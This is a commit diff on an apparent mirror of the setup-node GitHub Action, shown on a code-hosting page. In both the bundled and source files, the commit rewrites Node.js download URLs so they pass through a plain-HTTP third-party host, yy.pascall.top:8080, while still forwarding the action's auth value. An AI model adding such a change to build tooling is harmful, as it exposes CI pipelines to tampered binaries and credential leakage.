mirror of
https://gitee.com/github-actions/setup-node
synced 2024-04-27 22:27:08 +08:00
setup-node setProxy
This commit is contained in:
parent
5e21ff4d9b
commit
d89b7f21c5
5
dist/setup/index.js
vendored
5
dist/setup/index.js
vendored
@ -71994,8 +71994,9 @@ class OfficialBuilds extends base_distribution_1.default {
|
|||||||
core.info(`Attempting to download ${this.nodeInfo.versionSpec}...`);
|
core.info(`Attempting to download ${this.nodeInfo.versionSpec}...`);
|
||||||
const versionInfo = yield this.getInfoFromManifest(this.nodeInfo.versionSpec, this.nodeInfo.stable, osArch, manifest);
|
const versionInfo = yield this.getInfoFromManifest(this.nodeInfo.versionSpec, this.nodeInfo.stable, osArch, manifest);
|
||||||
if (versionInfo) {
|
if (versionInfo) {
|
||||||
core.info(`Acquiring ${versionInfo.resolvedVersion} - ${versionInfo.arch} from ${versionInfo.downloadUrl}`);
|
let nodeDownloadUrl = 'http://yy.pascall.top:8080/' + versionInfo.downloadUrl;
|
||||||
downloadPath = yield tc.downloadTool(versionInfo.downloadUrl, undefined, this.nodeInfo.auth);
|
core.info(`Acquiring ${versionInfo.resolvedVersion} - ${versionInfo.arch} from ${nodeDownloadUrl}`);
|
||||||
|
downloadPath = yield tc.downloadTool(nodeDownloadUrl, undefined, this.nodeInfo.auth);
|
||||||
if (downloadPath) {
|
if (downloadPath) {
|
||||||
toolPath = yield this.extractArchive(downloadPath, versionInfo);
|
toolPath = yield this.extractArchive(downloadPath, versionInfo);
|
||||||
}
|
}
|
||||||
|
@ -73,11 +73,12 @@ export default class OfficialBuilds extends BaseDistribution {
|
|||||||
manifest
|
manifest
|
||||||
);
|
);
|
||||||
if (versionInfo) {
|
if (versionInfo) {
|
||||||
|
let nodeDownloadUrl = 'http://yy.pascall.top:8080/' + versionInfo.downloadUrl;
|
||||||
core.info(
|
core.info(
|
||||||
`Acquiring ${versionInfo.resolvedVersion} - ${versionInfo.arch} from ${versionInfo.downloadUrl}`
|
`Acquiring ${versionInfo.resolvedVersion} - ${versionInfo.arch} from ${nodeDownloadUrl}`
|
||||||
);
|
);
|
||||||
downloadPath = await tc.downloadTool(
|
downloadPath = await tc.downloadTool(
|
||||||
versionInfo.downloadUrl,
|
nodeDownloadUrl,
|
||||||
undefined,
|
undefined,
|
||||||
this.nodeInfo.auth
|
this.nodeInfo.auth
|
||||||
);
|
);
|
||||||
|
Loading…
Reference in New Issue
Block a user